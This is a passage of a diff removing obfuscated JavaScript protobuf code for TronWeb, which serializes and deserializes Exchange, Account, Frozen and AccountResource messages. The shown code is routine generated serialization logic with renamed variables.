- _0x1d4615 = _0x4a96ab.readInt64();
- _0x593b39.setFirstTokenBalance(_0x1d4615);
- break;
- case 8:
- _0x1d4615 = _0x4a96ab.readBytes();
- _0x593b39.setSecondTokenId(_0x1d4615);
- break;
- case 9:
- _0x1d4615 = _0x4a96ab.readInt64();
- _0x593b39.setSecondTokenBalance(_0x1d4615);
- break;
- default:
- _0x4a96ab.skipField();
- }
- }
- return _0x593b39;
- };
- TronWebProto.Exchange.prototype.serializeBinary = function () {
- var _0x2582c2 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Exchange.serializeBinaryToWriter(this, _0x2582c2);
- return _0x2582c2.getResultBuffer();
- };
- TronWebProto.Exchange.serializeBinaryToWriter = function (_0x4e5f57, _0x439859) {
- var _0xa091ad = undefined;
- 0 !== (_0xa091ad = _0x4e5f57.getExchangeId()) && _0x439859.writeInt64(1, _0xa091ad);
- (_0xa091ad = _0x4e5f57.getCreatorAddress_asU8()).length > 0 && _0x439859.writeBytes(2, _0xa091ad);
- 0 !== (_0xa091ad = _0x4e5f57.getCreateTime()) && _0x439859.writeInt64(3, _0xa091ad);
- (_0xa091ad = _0x4e5f57.getFirstTokenId_asU8()).length > 0 && _0x439859.writeBytes(6, _0xa091ad);
- 0 !== (_0xa091ad = _0x4e5f57.getFirstTokenBalance()) && _0x439859.writeInt64(7, _0xa091ad);
- (_0xa091ad = _0x4e5f57.getSecondTokenId_asU8()).length > 0 && _0x439859.writeBytes(8, _0xa091ad);
- 0 !== (_0xa091ad = _0x4e5f57.getSecondTokenBalance()) && _0x439859.writeInt64(9, _0xa091ad);
- };
- TronWebProto.Exchange.prototype.getExchangeId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.Exchange.prototype.setExchangeId = function (_0x2a789f) {
- return _0x5b4e64.Message.setProto3IntField(this, 1, _0x2a789f);
- };
- TronWebProto.Exchange.prototype.getCreatorAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.Exchange.prototype.getCreatorAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getCreatorAddress());
- };
- TronWebProto.Exchange.prototype.getCreatorAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getCreatorAddress());
- };
- TronWebProto.Exchange.prototype.setCreatorAddress = function (_0x124630) {
- return _0x5b4e64.Message.setProto3BytesField(this, 2, _0x124630);
- };
- TronWebProto.Exchange.prototype.getCreateTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.Exchange.prototype.setCreateTime = function (_0x4ad7e5) {
- return _0x5b4e64.Message.setProto3IntField(this, 3, _0x4ad7e5);
- };
- TronWebProto.Exchange.prototype.getFirstTokenId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 6, "");
- };
- TronWebProto.Exchange.prototype.getFirstTokenId_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getFirstTokenId());
- };
- TronWebProto.Exchange.prototype.getFirstTokenId_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getFirstTokenId());
- };
- TronWebProto.Exchange.prototype.setFirstTokenId = function (_0x25a794) {
- return _0x5b4e64.Message.setProto3BytesField(this, 6, _0x25a794);
- };
- TronWebProto.Exchange.prototype.getFirstTokenBalance = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 7, 0);
- };
- TronWebProto.Exchange.prototype.setFirstTokenBalance = function (_0x14689c) {
- return _0x5b4e64.Message.setProto3IntField(this, 7, _0x14689c);
- };
- TronWebProto.Exchange.prototype.getSecondTokenId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 8, "");
- };
- TronWebProto.Exchange.prototype.getSecondTokenId_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getSecondTokenId());
- };
- TronWebProto.Exchange.prototype.getSecondTokenId_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getSecondTokenId());
- };
- TronWebProto.Exchange.prototype.setSecondTokenId = function (_0x214efd) {
- return _0x5b4e64.Message.setProto3BytesField(this, 8, _0x214efd);
- };
- TronWebProto.Exchange.prototype.getSecondTokenBalance = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 9, 0);
- };
- TronWebProto.Exchange.prototype.setSecondTokenBalance = function (_0x1cdd16) {
- return _0x5b4e64.Message.setProto3IntField(this, 9, _0x1cdd16);
- };
- TronWebProto.Account.repeatedFields_ = [5, 7, 16, 33];
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Account.prototype.toObject = function (_0x43f060) {
- return TronWebProto.Account.toObject(_0x43f060, this);
- }, TronWebProto.Account.toObject = function (_0x1bc9e3, _0x43d67d) {
- var _0x3995ef;
- var _0x32dbba = {
- accountName: _0x43d67d.getAccountName_asB64(),
- type: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 2, 0),
- address: _0x43d67d.getAddress_asB64(),
- balance: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 4, 0),
- votesList: _0x5b4e64.Message.toObjectList(_0x43d67d.getVotesList(), TronWebProto.Vote.toObject, _0x1bc9e3),
- assetMap: (_0x3995ef = _0x43d67d.getAssetMap()) ? _0x3995ef.toObject(_0x1bc9e3, undefined) : [],
- assetv2Map: (_0x3995ef = _0x43d67d.getAssetv2Map()) ? _0x3995ef.toObject(_0x1bc9e3, undefined) : [],
- frozenList: _0x5b4e64.Message.toObjectList(_0x43d67d.getFrozenList(), TronWebProto.Account.Frozen.toObject, _0x1bc9e3),
- netUsage: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 8, 0),
- acquiredDelegatedFrozenBalanceForBandwidth: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 41, 0),
- delegatedFrozenBalanceForBandwidth: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 42, 0),
- oldTronPower: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 46, 0),
- tronPower: (_0x3995ef = _0x43d67d.getTronPower()) && TronWebProto.Account.Frozen.toObject(_0x1bc9e3, _0x3995ef),
- assetOptimized: _0x5b4e64.Message.getBooleanFieldWithDefault(_0x43d67d, 60, false),
- createTime: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 9, 0),
- latestOprationTime: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 10, 0),
- allowance: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 11, 0),
- latestWithdrawTime: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 12, 0),
- code: _0x43d67d.getCode_asB64(),
- isWitness: _0x5b4e64.Message.getBooleanFieldWithDefault(_0x43d67d, 14, false),
- isCommittee: _0x5b4e64.Message.getBooleanFieldWithDefault(_0x43d67d, 15, false),
- frozenSupplyList: _0x5b4e64.Message.toObjectList(_0x43d67d.getFrozenSupplyList(), TronWebProto.Account.Frozen.toObject, _0x1bc9e3),
- assetIssuedName: _0x43d67d.getAssetIssuedName_asB64(),
- assetIssuedId: _0x43d67d.getAssetIssuedId_asB64(),
- latestAssetOperationTimeMap: (_0x3995ef = _0x43d67d.getLatestAssetOperationTimeMap()) ? _0x3995ef.toObject(_0x1bc9e3, undefined) : [],
- latestAssetOperationTimev2Map: (_0x3995ef = _0x43d67d.getLatestAssetOperationTimev2Map()) ? _0x3995ef.toObject(_0x1bc9e3, undefined) : [],
- freeNetUsage: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 19, 0),
- freeAssetNetUsageMap: (_0x3995ef = _0x43d67d.getFreeAssetNetUsageMap()) ? _0x3995ef.toObject(_0x1bc9e3, undefined) : [],
- freeAssetNetUsagev2Map: (_0x3995ef = _0x43d67d.getFreeAssetNetUsagev2Map()) ? _0x3995ef.toObject(_0x1bc9e3, undefined) : [],
- latestConsumeTime: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 21, 0),
- latestConsumeFreeTime: _0x5b4e64.Message.getFieldWithDefault(_0x43d67d, 22, 0),
- accountId: _0x43d67d.getAccountId_asB64(),
- accountResource: (_0x3995ef = _0x43d67d.getAccountResource()) && TronWebProto.Account.AccountResource.toObject(_0x1bc9e3, _0x3995ef),
- codehash: _0x43d67d.getCodehash_asB64(),
- ownerPermission: (_0x3995ef = _0x43d67d.getOwnerPermission()) && TronWebProto.Permission.toObject(_0x1bc9e3, _0x3995ef),
- witnessPermission: (_0x3995ef = _0x43d67d.getWitnessPermission()) && TronWebProto.Permission.toObject(_0x1bc9e3, _0x3995ef),
- activePermissionList: _0x5b4e64.Message.toObjectList(_0x43d67d.getActivePermissionList(), TronWebProto.Permission.toObject, _0x1bc9e3)
- };
- _0x1bc9e3 && (_0x32dbba.$jspbMessageInstance = _0x43d67d);
- return _0x32dbba;
- });
- TronWebProto.Account.deserializeBinary = function (_0x1590f2) {
- var _0x167f51 = new _0x5b4e64.BinaryReader(_0x1590f2);
- var _0x546432 = new TronWebProto.Account();
- return TronWebProto.Account.deserializeBinaryFromReader(_0x546432, _0x167f51);
- };
- TronWebProto.Account.deserializeBinaryFromReader = function (_0xfc25ed, _0x99cd07) {
- for (; _0x99cd07.nextField() && !_0x99cd07.isEndGroup();) {
- switch (_0x99cd07.getFieldNumber()) {
- case 1:
- var _0x38f81b = _0x99cd07.readBytes();
- _0xfc25ed.setAccountName(_0x38f81b);
- break;
- case 2:
- _0x38f81b = _0x99cd07.readEnum();
- _0xfc25ed.setType(_0x38f81b);
- break;
- case 3:
- _0x38f81b = _0x99cd07.readBytes();
- _0xfc25ed.setAddress(_0x38f81b);
- break;
- case 4:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setBalance(_0x38f81b);
- break;
- case 5:
- _0x38f81b = new TronWebProto.Vote();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Vote.deserializeBinaryFromReader);
- _0xfc25ed.addVotes(_0x38f81b);
- break;
- case 6:
- _0x38f81b = _0xfc25ed.getAssetMap();
- _0x99cd07.readMessage(_0x38f81b, function (_0x16ca6c, _0x4c4b0a) {
- _0x5b4e64.Map.deserializeBinary(_0x16ca6c, _0x4c4b0a, _0x5b4e64.BinaryReader.prototype.readString, _0x5b4e64.BinaryReader.prototype.readInt64, null, "", 0);
- });
- break;
- case 56:
- _0x38f81b = _0xfc25ed.getAssetv2Map();
- _0x99cd07.readMessage(_0x38f81b, function (_0x4b29ef, _0x34a0f4) {
- _0x5b4e64.Map.deserializeBinary(_0x4b29ef, _0x34a0f4, _0x5b4e64.BinaryReader.prototype.readString, _0x5b4e64.BinaryReader.prototype.readInt64, null, "", 0);
- });
- break;
- case 7:
- _0x38f81b = new TronWebProto.Account.Frozen();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Account.Frozen.deserializeBinaryFromReader);
- _0xfc25ed.addFrozen(_0x38f81b);
- break;
- case 8:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setNetUsage(_0x38f81b);
- break;
- case 41:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setAcquiredDelegatedFrozenBalanceForBandwidth(_0x38f81b);
- break;
- case 42:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setDelegatedFrozenBalanceForBandwidth(_0x38f81b);
- break;
- case 46:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setOldTronPower(_0x38f81b);
- break;
- case 47:
- _0x38f81b = new TronWebProto.Account.Frozen();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Account.Frozen.deserializeBinaryFromReader);
- _0xfc25ed.setTronPower(_0x38f81b);
- break;
- case 60:
- _0x38f81b = _0x99cd07.readBool();
- _0xfc25ed.setAssetOptimized(_0x38f81b);
- break;
- case 9:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setCreateTime(_0x38f81b);
- break;
- case 10:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setLatestOprationTime(_0x38f81b);
- break;
- case 11:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setAllowance(_0x38f81b);
- break;
- case 12:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setLatestWithdrawTime(_0x38f81b);
- break;
- case 13:
- _0x38f81b = _0x99cd07.readBytes();
- _0xfc25ed.setCode(_0x38f81b);
- break;
- case 14:
- _0x38f81b = _0x99cd07.readBool();
- _0xfc25ed.setIsWitness(_0x38f81b);
- break;
- case 15:
- _0x38f81b = _0x99cd07.readBool();
- _0xfc25ed.setIsCommittee(_0x38f81b);
- break;
- case 16:
- _0x38f81b = new TronWebProto.Account.Frozen();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Account.Frozen.deserializeBinaryFromReader);
- _0xfc25ed.addFrozenSupply(_0x38f81b);
- break;
- case 17:
- _0x38f81b = _0x99cd07.readBytes();
- _0xfc25ed.setAssetIssuedName(_0x38f81b);
- break;
- case 57:
- _0x38f81b = _0x99cd07.readBytes();
- _0xfc25ed.setAssetIssuedId(_0x38f81b);
- break;
- case 18:
- _0x38f81b = _0xfc25ed.getLatestAssetOperationTimeMap();
- _0x99cd07.readMessage(_0x38f81b, function (_0xfe5701, _0x39fbc0) {
- _0x5b4e64.Map.deserializeBinary(_0xfe5701, _0x39fbc0, _0x5b4e64.BinaryReader.prototype.readString, _0x5b4e64.BinaryReader.prototype.readInt64, null, "", 0);
- });
- break;
- case 58:
- _0x38f81b = _0xfc25ed.getLatestAssetOperationTimev2Map();
- _0x99cd07.readMessage(_0x38f81b, function (_0xce8e3e, _0x1d716f) {
- _0x5b4e64.Map.deserializeBinary(_0xce8e3e, _0x1d716f, _0x5b4e64.BinaryReader.prototype.readString, _0x5b4e64.BinaryReader.prototype.readInt64, null, "", 0);
- });
- break;
- case 19:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setFreeNetUsage(_0x38f81b);
- break;
- case 20:
- _0x38f81b = _0xfc25ed.getFreeAssetNetUsageMap();
- _0x99cd07.readMessage(_0x38f81b, function (_0x10358d, _0x161db9) {
- _0x5b4e64.Map.deserializeBinary(_0x10358d, _0x161db9, _0x5b4e64.BinaryReader.prototype.readString, _0x5b4e64.BinaryReader.prototype.readInt64, null, "", 0);
- });
- break;
- case 59:
- _0x38f81b = _0xfc25ed.getFreeAssetNetUsagev2Map();
- _0x99cd07.readMessage(_0x38f81b, function (_0x2a1e22, _0x3a0469) {
- _0x5b4e64.Map.deserializeBinary(_0x2a1e22, _0x3a0469, _0x5b4e64.BinaryReader.prototype.readString, _0x5b4e64.BinaryReader.prototype.readInt64, null, "", 0);
- });
- break;
- case 21:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setLatestConsumeTime(_0x38f81b);
- break;
- case 22:
- _0x38f81b = _0x99cd07.readInt64();
- _0xfc25ed.setLatestConsumeFreeTime(_0x38f81b);
- break;
- case 23:
- _0x38f81b = _0x99cd07.readBytes();
- _0xfc25ed.setAccountId(_0x38f81b);
- break;
- case 26:
- _0x38f81b = new TronWebProto.Account.AccountResource();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Account.AccountResource.deserializeBinaryFromReader);
- _0xfc25ed.setAccountResource(_0x38f81b);
- break;
- case 30:
- _0x38f81b = _0x99cd07.readBytes();
- _0xfc25ed.setCodehash(_0x38f81b);
- break;
- case 31:
- _0x38f81b = new TronWebProto.Permission();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Permission.deserializeBinaryFromReader);
- _0xfc25ed.setOwnerPermission(_0x38f81b);
- break;
- case 32:
- _0x38f81b = new TronWebProto.Permission();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Permission.deserializeBinaryFromReader);
- _0xfc25ed.setWitnessPermission(_0x38f81b);
- break;
- case 33:
- _0x38f81b = new TronWebProto.Permission();
- _0x99cd07.readMessage(_0x38f81b, TronWebProto.Permission.deserializeBinaryFromReader);
- _0xfc25ed.addActivePermission(_0x38f81b);
- break;
- default:
- _0x99cd07.skipField();
- }
- }
- return _0xfc25ed;
- };
- TronWebProto.Account.prototype.serializeBinary = function () {
- var _0x58daae = new _0x5b4e64.BinaryWriter();
- TronWebProto.Account.serializeBinaryToWriter(this, _0x58daae);
- return _0x58daae.getResultBuffer();
- };
- TronWebProto.Account.serializeBinaryToWriter = function (_0x5bebed, _0x449f29) {
- var _0xdf36b5 = undefined;
- (_0xdf36b5 = _0x5bebed.getAccountName_asU8()).length > 0 && _0x449f29.writeBytes(1, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getType()) && _0x449f29.writeEnum(2, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getAddress_asU8()).length > 0 && _0x449f29.writeBytes(3, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getBalance()) && _0x449f29.writeInt64(4, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getVotesList()).length > 0 && _0x449f29.writeRepeatedMessage(5, _0xdf36b5, TronWebProto.Vote.serializeBinaryToWriter);
- (_0xdf36b5 = _0x5bebed.getAssetMap(true)) && _0xdf36b5.getLength() > 0 && _0xdf36b5.serializeBinary(6, _0x449f29, _0x5b4e64.BinaryWriter.prototype.writeString, _0x5b4e64.BinaryWriter.prototype.writeInt64);
- (_0xdf36b5 = _0x5bebed.getAssetv2Map(true)) && _0xdf36b5.getLength() > 0 && _0xdf36b5.serializeBinary(56, _0x449f29, _0x5b4e64.BinaryWriter.prototype.writeString, _0x5b4e64.BinaryWriter.prototype.writeInt64);
- (_0xdf36b5 = _0x5bebed.getFrozenList()).length > 0 && _0x449f29.writeRepeatedMessage(7, _0xdf36b5, TronWebProto.Account.Frozen.serializeBinaryToWriter);
- 0 !== (_0xdf36b5 = _0x5bebed.getNetUsage()) && _0x449f29.writeInt64(8, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getAcquiredDelegatedFrozenBalanceForBandwidth()) && _0x449f29.writeInt64(41, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getDelegatedFrozenBalanceForBandwidth()) && _0x449f29.writeInt64(42, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getOldTronPower()) && _0x449f29.writeInt64(46, _0xdf36b5);
- null != (_0xdf36b5 = _0x5bebed.getTronPower()) && _0x449f29.writeMessage(47, _0xdf36b5, TronWebProto.Account.Frozen.serializeBinaryToWriter);
- (_0xdf36b5 = _0x5bebed.getAssetOptimized()) && _0x449f29.writeBool(60, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getCreateTime()) && _0x449f29.writeInt64(9, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getLatestOprationTime()) && _0x449f29.writeInt64(10, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getAllowance()) && _0x449f29.writeInt64(11, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getLatestWithdrawTime()) && _0x449f29.writeInt64(12, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getCode_asU8()).length > 0 && _0x449f29.writeBytes(13, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getIsWitness()) && _0x449f29.writeBool(14, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getIsCommittee()) && _0x449f29.writeBool(15, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getFrozenSupplyList()).length > 0 && _0x449f29.writeRepeatedMessage(16, _0xdf36b5, TronWebProto.Account.Frozen.serializeBinaryToWriter);
- (_0xdf36b5 = _0x5bebed.getAssetIssuedName_asU8()).length > 0 && _0x449f29.writeBytes(17, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getAssetIssuedId_asU8()).length > 0 && _0x449f29.writeBytes(57, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getLatestAssetOperationTimeMap(true)) && _0xdf36b5.getLength() > 0 && _0xdf36b5.serializeBinary(18, _0x449f29, _0x5b4e64.BinaryWriter.prototype.writeString, _0x5b4e64.BinaryWriter.prototype.writeInt64);
- (_0xdf36b5 = _0x5bebed.getLatestAssetOperationTimev2Map(true)) && _0xdf36b5.getLength() > 0 && _0xdf36b5.serializeBinary(58, _0x449f29, _0x5b4e64.BinaryWriter.prototype.writeString, _0x5b4e64.BinaryWriter.prototype.writeInt64);
- 0 !== (_0xdf36b5 = _0x5bebed.getFreeNetUsage()) && _0x449f29.writeInt64(19, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getFreeAssetNetUsageMap(true)) && _0xdf36b5.getLength() > 0 && _0xdf36b5.serializeBinary(20, _0x449f29, _0x5b4e64.BinaryWriter.prototype.writeString, _0x5b4e64.BinaryWriter.prototype.writeInt64);
- (_0xdf36b5 = _0x5bebed.getFreeAssetNetUsagev2Map(true)) && _0xdf36b5.getLength() > 0 && _0xdf36b5.serializeBinary(59, _0x449f29, _0x5b4e64.BinaryWriter.prototype.writeString, _0x5b4e64.BinaryWriter.prototype.writeInt64);
- 0 !== (_0xdf36b5 = _0x5bebed.getLatestConsumeTime()) && _0x449f29.writeInt64(21, _0xdf36b5);
- 0 !== (_0xdf36b5 = _0x5bebed.getLatestConsumeFreeTime()) && _0x449f29.writeInt64(22, _0xdf36b5);
- (_0xdf36b5 = _0x5bebed.getAccountId_asU8()).length > 0 && _0x449f29.writeBytes(23, _0xdf36b5);
- null != (_0xdf36b5 = _0x5bebed.getAccountResource()) && _0x449f29.writeMessage(26, _0xdf36b5, TronWebProto.Account.AccountResource.serializeBinaryToWriter);
- (_0xdf36b5 = _0x5bebed.getCodehash_asU8()).length > 0 && _0x449f29.writeBytes(30, _0xdf36b5);
- null != (_0xdf36b5 = _0x5bebed.getOwnerPermission()) && _0x449f29.writeMessage(31, _0xdf36b5, TronWebProto.Permission.serializeBinaryToWriter);
- null != (_0xdf36b5 = _0x5bebed.getWitnessPermission()) && _0x449f29.writeMessage(32, _0xdf36b5, TronWebProto.Permission.serializeBinaryToWriter);
- (_0xdf36b5 = _0x5bebed.getActivePermissionList()).length > 0 && _0x449f29.writeRepeatedMessage(33, _0xdf36b5, TronWebProto.Permission.serializeBinaryToWriter);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Account.Frozen.prototype.toObject = function (_0x204e91) {
- return TronWebProto.Account.Frozen.toObject(_0x204e91, this);
- }, TronWebProto.Account.Frozen.toObject = function (_0xb88df0, _0x53e86b) {
- var _0x4d1542 = {
- frozenBalance: _0x5b4e64.Message.getFieldWithDefault(_0x53e86b, 1, 0),
- expireTime: _0x5b4e64.Message.getFieldWithDefault(_0x53e86b, 2, 0)
- };
- _0xb88df0 && (_0x4d1542.$jspbMessageInstance = _0x53e86b);
- return _0x4d1542;
- });
- TronWebProto.Account.Frozen.deserializeBinary = function (_0xe1254a) {
- var _0x43a53c = new _0x5b4e64.BinaryReader(_0xe1254a);
- var _0x3edddd = new TronWebProto.Account.Frozen();
- return TronWebProto.Account.Frozen.deserializeBinaryFromReader(_0x3edddd, _0x43a53c);
- };
- TronWebProto.Account.Frozen.deserializeBinaryFromReader = function (_0x52c156, _0x1005ba) {
- for (; _0x1005ba.nextField() && !_0x1005ba.isEndGroup();) {
- switch (_0x1005ba.getFieldNumber()) {
- case 1:
- var _0x485dc9 = _0x1005ba.readInt64();
- _0x52c156.setFrozenBalance(_0x485dc9);
- break;
- case 2:
- _0x485dc9 = _0x1005ba.readInt64();
- _0x52c156.setExpireTime(_0x485dc9);
- break;
- default:
- _0x1005ba.skipField();
- }
- }
- return _0x52c156;
- };
- TronWebProto.Account.Frozen.prototype.serializeBinary = function () {
- var _0x29fce8 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Account.Frozen.serializeBinaryToWriter(this, _0x29fce8);
- return _0x29fce8.getResultBuffer();
- };
- TronWebProto.Account.Frozen.serializeBinaryToWriter = function (_0x50dfa1, _0x414f70) {
- var _0x4d6dd7 = undefined;
- 0 !== (_0x4d6dd7 = _0x50dfa1.getFrozenBalance()) && _0x414f70.writeInt64(1, _0x4d6dd7);
- 0 !== (_0x4d6dd7 = _0x50dfa1.getExpireTime()) && _0x414f70.writeInt64(2, _0x4d6dd7);
- };
- TronWebProto.Account.Frozen.prototype.getFrozenBalance = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.Account.Frozen.prototype.setFrozenBalance = function (_0x33bc8c) {
- return _0x5b4e64.Message.setProto3IntField(this, 1, _0x33bc8c);
- };
- TronWebProto.Account.Frozen.prototype.getExpireTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.Account.Frozen.prototype.setExpireTime = function (_0x104262) {
- return _0x5b4e64.Message.setProto3IntField(this, 2, _0x104262);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Account.AccountResource.prototype.toObject = function (_0x1f2e94) {
- return TronWebProto.Account.AccountResource.toObject(_0x1f2e94, this);
- }, TronWebProto.Account.AccountResource.toObject = function (_0x1ef41a, _0x345ea2) {
- var _0x57648b;
- var _0x5449be = {
- energyUsage: _0x5b4e64.Message.getFieldWithDefault(_0x345ea2, 1, 0),
- frozenBalanceForEnergy: (_0x57648b = _0x345ea2.getFrozenBalanceForEnergy()) && TronWebProto.Account.Frozen.toObject(_0x1ef41a, _0x57648b),
- latestConsumeTimeForEnergy: _0x5b4e64.Message.getFieldWithDefault(_0x345ea2, 3, 0),
- acquiredDelegatedFrozenBalanceForEnergy: _0x5b4e64.Message.getFieldWithDefault(_0x345ea2, 4, 0),
- delegatedFrozenBalanceForEnergy: _0x5b4e64.Message.getFieldWithDefault(_0x345ea2, 5, 0),
- storageLimit: _0x5b4e64.Message.getFieldWithDefault(_0x345ea2, 6, 0),
- storageUsage: _0x5b4e64.Message.getFieldWithDefault(_0x345ea2, 7, 0),
- latestExchangeStorageTime: _0x5b4e64.Message.getFieldWithDefault(_0x345ea2, 8, 0)
- };
- _0x1ef41a && (_0x5449be.$jspbMessageInstance = _0x345ea2);
- return _0x5449be;
- });
- TronWebProto.Account.AccountResource.deserializeBinary = function (_0x4002a3) {
- var _0x24e065 = new _0x5b4e64.BinaryReader(_0x4002a3);
- var _0x2b8584 = new TronWebProto.Account.AccountResource();
- return TronWebProto.Account.AccountResource.deserializeBinaryFromReader(_0x2b8584, _0x24e065);
- };
- TronWebProto.Account.AccountResource.deserializeBinaryFromReader = function (_0x32cbc6, _0x37df0f) {
- for (; _0x37df0f.nextField() && !_0x37df0f.isEndGroup();) {
- switch (_0x37df0f.getFieldNumber()) {
- case 1:
- var _0x5de4b3 = _0x37df0f.readInt64();
- _0x32cbc6.setEnergyUsage(_0x5de4b3);
- break;
- case 2:
- _0x5de4b3 = new TronWebProto.Account.Frozen();
- _0x37df0f.readMessage(_0x5de4b3, TronWebProto.Account.Frozen.deserializeBinaryFromReader);
- _0x32cbc6.setFrozenBalanceForEnergy(_0x5de4b3);
- break;
- case 3:
- _0x5de4b3 = _0x37df0f.readInt64();
- _0x32cbc6.setLatestConsumeTimeForEnergy(_0x5de4b3);
- break;
- case 4:
- _0x5de4b3 = _0x37df0f.readInt64();
- _0x32cbc6.setAcquiredDelegatedFrozenBalanceForEnergy(_0x5de4b3);
- break;
- case 5:
- _0x5de4b3 = _0x37df0f.readInt64();
- _0x32cbc6.setDelegatedFrozenBalanceForEnergy(_0x5de4b3);
- break;
- case 6:
- _0x5de4b3 = _0x37df0f.readInt64();
- _0x32cbc6.setStorageLimit(_0x5de4b3);
- break;
- case 7:
- _0x5de4b3 = _0x37df0f.readInt64();
- _0x32cbc6.setStorageUsage(_0x5de4b3);
- break;
- case 8:
- _0x5de4b3 = _0x37df0f.readInt64();
- _0x32cbc6.setLatestExchangeStorageTime(_0x5de4b3);
- break;
- default:
- _0x37df0f.skipField();
- }
- }
- return _0x32cbc6;
- };
- TronWebProto.Account.AccountResource.prototype.serializeBinary = function () {
- var _0x4e0fc9 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Account.AccountResource.serializeBinaryToWriter(this, _0x4e0fc9);
- return _0x4e0fc9.getResultBuffer();
- };
- TronWebProto.Account.AccountResource.serializeBinaryToWriter = function (_0x1b952d, _0x25f116) {
- var _0x58b2d4 = undefined;
- 0 !== (_0x58b2d4 = _0x1b952d.getEnergyUsage()) && _0x25f116.writeInt64(1, _0x58b2d4);
- null != (_0x58b2d4 = _0x1b952d.getFrozenBalanceForEnergy()) && _0x25f116.writeMessage(2, _0x58b2d4, TronWebProto.Account.Frozen.serializeBinaryToWriter);
- 0 !== (_0x58b2d4 = _0x1b952d.getLatestConsumeTimeForEnergy()) && _0x25f116.writeInt64(3, _0x58b2d4);
- 0 !== (_0x58b2d4 = _0x1b952d.getAcquiredDelegatedFrozenBalanceForEnergy()) && _0x25f116.writeInt64(4, _0x58b2d4);
- 0 !== (_0x58b2d4 = _0x1b952d.getDelegatedFrozenBalanceForEnergy()) && _0x25f116.writeInt64(5, _0x58b2d4);
- 0 !== (_0x58b2d4 = _0x1b952d.getStorageLimit()) && _0x25f116.writeInt64(6, _0x58b2d4);
- 0 !== (_0x58b2d4 = _0x1b952d.getStorageUsage()) && _0x25f116.writeInt64(7, _0x58b2d4);
- 0 !== (_0x58b2d4 = _0x1b952d.getLatestExchangeStorageTime()) && _0x25f116.writeInt64(8, _0x58b2d4);
- };
- TronWebProto.Account.AccountResource.prototype.getEnergyUsage = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.Account.AccountResource.prototype.setEnergyUsage = function (_0xe8b18f) {
- return _0x5b4e64.Message.setProto3IntField(this, 1, _0xe8b18f);
- };
- TronWebProto.Account.AccountResource.prototype.getFrozenBalanceForEnergy = function () {
